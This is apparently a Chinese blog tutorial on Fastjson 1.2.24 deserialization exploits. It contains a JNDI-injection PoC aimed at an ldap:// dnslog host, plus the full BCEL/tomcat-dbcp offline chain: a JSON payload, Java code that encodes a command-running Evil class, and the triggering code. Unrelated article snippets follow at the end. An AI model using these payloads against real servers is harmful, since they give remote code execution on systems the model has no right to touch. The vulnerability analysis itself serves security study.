fastjson-BCEL不出网打法原理分析
FastJson反序列化漏洞
与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对象,当这些自动调用的方法中存在可利用的潜在危险代码时,漏洞便产生了。
fastjson用法:
1.将字符串转换为json格式,通过key获取value:
class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
这么简单好用的一个功能为什么会出现漏洞?
2.将JSON还原成对象:
class jsonUser{
public static void main(String[] args) {
//正常使用将字符串转换成json格式,提取相关数据
String s = "{\"name\":\"小红\",\"age\":\"18\"}";
JSONObject jsonobject = (JSONObject) JSON.parse(s);
System.out.println(jsonobject.get("name"));
}}
小红
class User {
private String id;
User() {
System.out.println("User go");
}
public void setId(String ids) {
System.out.println("setId go");
this.id = ids;
}
public String getId() {
System.out.println("GetId go");
return this.id;
}
}
public class Fastjson {
public static void main(String[] args) {
User a = new User();
String json = JSON.toJSONString(a); //序列化 转为json
// System.out.println(json);
System.out.println(JSON.parseObject(json,User.class)); //反序列化 转为
原始数据
}
}
result:会自动调用 Get方法和构造方法。

fastjson漏洞产生原因:
public class Fastjson {
public static void main(String[] args) {
JSONObject jsonObject =
JSON.parseObject({\"@type\":\"Java_deserialization.User\",\"id\":\"123\"}");
System.out.println(jsonObject);
}
}
result:会自动调用Get,Set,构造方法。

这里fastjson提供了AutoType这种方式来指定需要还原的对象以及值 {"@type":"Java_deserialization.User","id":"123"},其中@type后面跟进的就是我们所需要还原的对象 (可控)后面跟进的id也就是这个类里面的属性,如果有一个fastjson反序列化点可控那么我们就可以随 意指定一个恶意类,如果这个恶意类里面的构造方法或者Get,Set方法调用了恶意的方法那么就会造成 反序列化漏洞。
fastjson什么时候会调用get方法
细节就不调试了,感兴趣可以调试JavaBeanInfo.build() 里面的规则
● 只存在 getter 方法,无 setter 方法。
● 方法名称长度大于等于4。
● 非静态方法。
● 方法名以 get 开头,且第四个字符为大写字母,例如 getAge。
● 方法无须入参。
● 方法返回值继承自 Collection、Map、AtomicBoolean、AtomicInteger 和 AtomicLong 的其中一个。
fastjson1.2.24-JndI注入
Poc:
public class Fastjson {
public static void main(String[] args) {
System.out.println(JSON.parseObject("
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://erh3yu.dnslog.cn\"," +
"\"autoCommit\":\"true\"}"));
}
}

根据之前的分析,可以知道攻击者指定了一个类 @type:com.sun.rowset.JdbcRowSetImpl,然后给类里面的属性进行了赋值(就跟之前的id一样的),那么赋值以后就会调用对应的set方法,也许危险代码 就在set方法里面:
1.调用set方法dataSourceName:

2.调用setAutoCommit方法:为什么是true?这里autoCommit是一个布尔值,你传false 或者0,1都可以。

会进入caonnect方法,危险方法就是这个connect:
3.connect方法:

熟悉Java的朋友就会知道这是一个Jndi注入点,其中里面的dataSourceName是可控的就是我们刚刚传 入的ldap协议,这里就不过多的阐述ldap协议了,后面会单独的去做笔记。ldap协议属于jndi里面的一 种可以远程动态加载其他服务器上面的资源,如果远程加载的对象可控那么我们就可以远程加载自己构 建的恶意类。
4.这里我们跟进lookup看看:

5.getURLOrDefaultInitCtx方法:

这里会对我们传入的uri进行判断,判断是什么协议比如ldap,rmi等远程加载数据的协议。
fastjson1.2.24-BCEL不出网打法
刚刚介绍的是fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了,虽然TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启 Feature.SupportNonPublicField ,并且实际应用中其实不多见所以我们就介绍另外一种 攻击方法apache-BCEL,直接传入字节码不需要出网就可执行恶意代码但是需要引入tomcat的依赖,但 在实际攻击中还算是比较常见的。
复现环境
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>
// tomcat-bdcp在7还是8版本一下名称叫做dbcp,大家引入的时候注意一下
POC:
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
这里需要说明一下driverClassName里面传入的其实是恶意类经过BCEL协议编码过后的代码,网上很多 的人都没有说明,也没有告诉大家如何生成,后面部分会为一步一步说。
分析:
正常使用BCEL:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
//不考虑fastjson情况就正常调用该类
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
classLoader.loadClass("$$BCEL$$"+code).newInstance();
//将文件转为字节码数组
public static byte[] fileToBinArray(File file){
try {
InputStream fis = new FileInputStream(file);
byte[] bytes = FileCopyUtils.copyToByteArray(fis);
return bytes;
}catch (Exception ex){
throw new RuntimeException("transform file into bin Array 出错",ex);
}
}
}
//恶意类
package Java_deserialization;
import java.lang.Runtime;
import java.lang.Process;
public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
//javac Evil.java 转为.class,动态调用的是字节码
com.sun.org.apache.bcel.internal.util里面有一个classLoader类,ClassLoader类里面有一个
loadClass方法,如果满足方法里面的条件就可以动态调用恶意代码,其中恶意代码是通过BCEL格式传入
的。

代码很简单,创建一个对象然后调用loadClass方法,需要注意的是为什么我们需要做编码这一步:String code = Utility.encode(bytes,true);
我们在调用loadClass方法的时候会调用 creatClass方法,这里需要跟进去看看


可以看到在进入到 creatClass方法以后会对数据进行解码,所以在之前我们需要进行编码而且为了满足 条件需要加上“$$BCEL$$”相关的字符串才能绕过if判断。

成功执行命令,那么现在我们需要考虑的就是如何将这个恶意方法和fastjson结合起来。
tomcat-dbcp:
结合tomcat-dbcp这个类进行组合达到触发fastjson的目的:
tomcat-dbcp里面有一个BasicDataSource类,在反序列化的时候会调用getConnection()方法:

getConnection()方法在返回的时候会调用createDataSource()方法:

createDataSource()方法又会调用createConnectionFactory()方法,

问题代码:
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
正常BCEL的代码:
ClassLoader classLoader = new ClassLoader();
classLoader.loadClass("$$BCEL$$"+code).newInstance();
通过动态类加载调用我们的loadclass,如果Class.forName(driverClassName, true, driverClassLoader)中的driverClassName和driverClassLoader可控,那么我们就可以传入我们正常BCEL生成的 classLoader和BCEL绕过的代码,恰巧这里有对应的set方法,那么在fastjson反序列化中就会调用set方法来达到可控的目的:


public class fastjsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.setDriverClassName("$$BCEL$$"+code);
basicDataSource.getConnection();
}
攻击链:

换成正常POC测试:
public class fastjsonBcel {
public static void main(String[] args) throws Exception {
byte[] bytes = fileToBinArray(new File("D:\\Evil.class"));
String code = Utility.encode(bytes,true);
String s = "
{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":
\"$$BCEL$$" + code + "\",\"driverClassloader\":
{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
相关文章:
fastjson-BCEL不出网打法原理分析
FastJson反序列化漏洞 与原生的 Java 反序列化的区别在于,FastJson 反序列化并未使用 readObject 方法,而是由 FastJson 自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的 setter 方法和 getter 方法,将JSON 字符串还原成对…...
部署mysql主从同步,部署mysql数据读写分离结构+mycat2
主要命令 [rootmysql59 ~]# yum –y install mysql-server mysql[rootmysql59 ~]# systemctl start mysqld[rootmysql59 ~]# vim /etc/my.cnf.d/mysql-server.cnf[mysqld]server-id59log-binmysql59:wq[rootmysql59 ~]# systemctl restart mysqld//用户授权[rootmysql59 ~]# my…...
【最新!超详细C++入门】
01_C语言基础 一、课程目标 1、掌握 C基本语法:变量、常量、注释、标识符命名规范 2、掌握C数据类型 3、掌握C的输入和输出 4、掌握C运算符和表达式 5、掌握条件语句 6、掌握循环语句 二、课程内容 1 C初识 1.1 第一个C程序 编写一个C程序总共分为4个步骤…...
【Linux】【实战系列】10 分钟掌握日常开发中 Linux 网络处理相关命令
文章目录 lsofnetstatpingnslookupsshssh-keygenscpsftp 网络工具 curl网络工具 wget最后个人简介 hello,大家好,我是 Lorin,上一期和大家分享一期日常开发中常用的 Linux 文件和文本命令实战教学,这一期给大家带来常用的网络处理…...
语义分割常用评价指标
在图像处理领域中,语义分割是很重要的一个任务。在实际项目开发中,评估模型预测效果以及各指标的含义对于优化模型极为重要。 本文将主要评价指标的计算算法进行了详细说明,并加上注释解释每个指标的含义。这对理解各指标背后的数学原理以及能否在实践中应用或许有…...
从0开始学习C++ 第一课:你的第一个C++程序
第一课:你的第一个C程序 当然可以。让我们从C的基础开始,我们的第一课将覆盖以下几个主题: 程序结构编写和运行你的第一个C程序基本的输入输出(I/O) 第一课:你的第一个C程序 在C中,所有的程…...
Dubbo-admin监控中心
监控中心 Dubbo-admin监控中心执行操作启动provider和consumer项目进行测试总体流程 Dubbo-admin监控中心 dubbo-admin下载路径 git clone https://github.com/apache/dubbo-admin.git图1-1 dubbo-admin项目文件展示 执行操作 # 启动zookeeper# 前端 cd dubbo-admin-ui npm i…...
216. 组合总和 III - 力扣(LeetCode)
题目描述 找出所有相加之和为 n 的 k 个数的组合,且满足下列条件: 只使用数字1到9每个数字 最多使用一次 返回 所有可能的有效组合的列表 。该列表不能包含相同的组合两次,组合可以以任何顺序返回。 输入示例 k 3, n 7输出示例 [[1,2,…...
LeetCode-题目整理【5】:O(1) 时间插入、删除和获取随机元素
RandomizedSet结构体存在切片和哈希表的原因: 变长数组由于可以根据下标定位到特定元素,因此可以在 O(1)的时间内完成获取随机元素操作,但是由于无法在 O(1) 的时间内判断元素是否存在,因此不能在 O(1) 的时间内完成插入和删除操作…...
服务器感染了.wis[[Rast@airmail.cc]].wis勒索病毒,如何确保数据文件完整恢复?
导言: 在当今数字化的时代,恶意软件攻击已经变得越来越复杂和狡猾,[[MyFilewaifu.club]].wis [[backupwaifu.club]].wis[[Rastairmail.cc]].wis勒索病毒是其中的一种新威胁。本文91数据恢复将深入介绍[[MyFilewaifu.club]].wis [[backupwaif…...
ContentNegotiationManagerFactoryBean 内容协商
一.什么是内容协商 简单点说,就是同一资源,可以有多种表现形式,比如xml、json等,具体使用哪种表现形式,是可以协商的。 这是RESTfull的一个重要特性,Spring Web MVC也支持这个功能。 1.Spring MVC REST是如何决定采用…...
html css js 开发一个猜数字游戏
以下是一个使用HTML、CSS和JS开发的简单猜数字游戏的示例: HTML代码: <!DOCTYPE html> <html> <head><title>猜数字游戏</title><link rel"stylesheet" type"text/css" href"style.css&quo…...
HDD 东山再起,单块 30TB 起步新品想要颠覆储存行业
不得不承认,这年头机械硬盘(HDD)是越来越不受待见了。 体积大,耗电高,速度慢等多年祖传特点无不脱离当前消费者所追求的轻量化,高性能。 个人消费市场不约而同选择全面奔向固态硬盘(SSD&#x…...
【网络安全】-基本工具msf
secure 1、有此漏洞的目标主机2、无此漏洞的目标主机(常用) ps.本着兴趣爱好,加强电脑的安全防护能力,并严格遵守法律和道德规范。msf(metasploit framework)是一个开源的渗透测试框架,用于开发…...
Vue3的ref和reactive
目录 1、ref的基本使用 2、reactive的基本使用 3、ref操作dom 4、ref与reactive的异同 1、ref的基本使用 ref创建数据可以是基本类型也可以是引用类型 ref函数创建响应式数据,返回值是一个对象 模版中使用ref数据,省略.value,js代码中不能省略 获…...
Flink编程——风险欺诈检测
Flink 风险欺诈检测 文章目录 Flink 风险欺诈检测背景准备条件FraudDetectionJob.javaFraudDetector.java 代码分析执行环境创建数据源对事件分区 & 欺诈检测输出结果运行作业欺诈检测器 欺诈检测器 v1:状态欺诈检测器 v2:状态 时间完整的程序期望的…...
Day37 贪心算法 part06 738. 单调递增的数字 968. 监控二叉树
贪心算法 part06 738. 单调递增的数字 968. 监控二叉树 738. 单调递增的数字 class Solution { public:int monotoneIncreasingDigits(int n) {string strNum to_string(n);int tag strNum.size();for(int i strNum.size()-1; i>1; i--){if(strNum[i]<strNum[i-1]){…...
SpringBoot Redis入门(四)——Redis单机、哨兵、集群模式
单机模式:单台缓存服务器,开发、测试环境下使用;哨兵模式:主-从模式,提高缓存服务器的高可用和安全性。所有缓存的数据在每个节点上都一致。每个节点添加监听器,不断监听节点可用状态,一旦主节点…...
获取数组中的第一个、第二个、第三个......元素
常规操作可以直接使用索引(下标)获取: const arr [5,8,6,9,10] const first arr[0] //5 const second arr[1] //8 const third arr[2] //6 不使用索引,如何获取: const [first] [5,8,6,9,10] //…...
前端面试题(持续更新~~)
文章目录 一、基础1、数组常用的方法2、数组有哪几种循环方式?分别有什么作用?3、字符串常用的方法4、原型链5、闭包6、常见的继承7、cookie 、localstorage 、 sessionstrorage区别8、数组去重方法9、http 的请求方式10、数据类型的判断方法11、cookie …...
地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...
江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命
在华东塑料包装行业面临限塑令深度调整的背景下,江苏艾立泰以一场跨国资源接力的创新实践,重新定义了绿色供应链的边界。 跨国回收网络:废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点,将海外废弃包装箱通过标准…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
css3笔记 (1) 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size:0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
Java 二维码
Java 二维码 **技术:**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
MinIO Docker 部署:仅开放一个端口
MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...
从面试角度回答Android中ContentProvider启动原理
Android中ContentProvider原理的面试角度解析,分为已启动和未启动两种场景: 一、ContentProvider已启动的情况 1. 核心流程 触发条件:当其他组件(如Activity、Service)通过ContentR…...
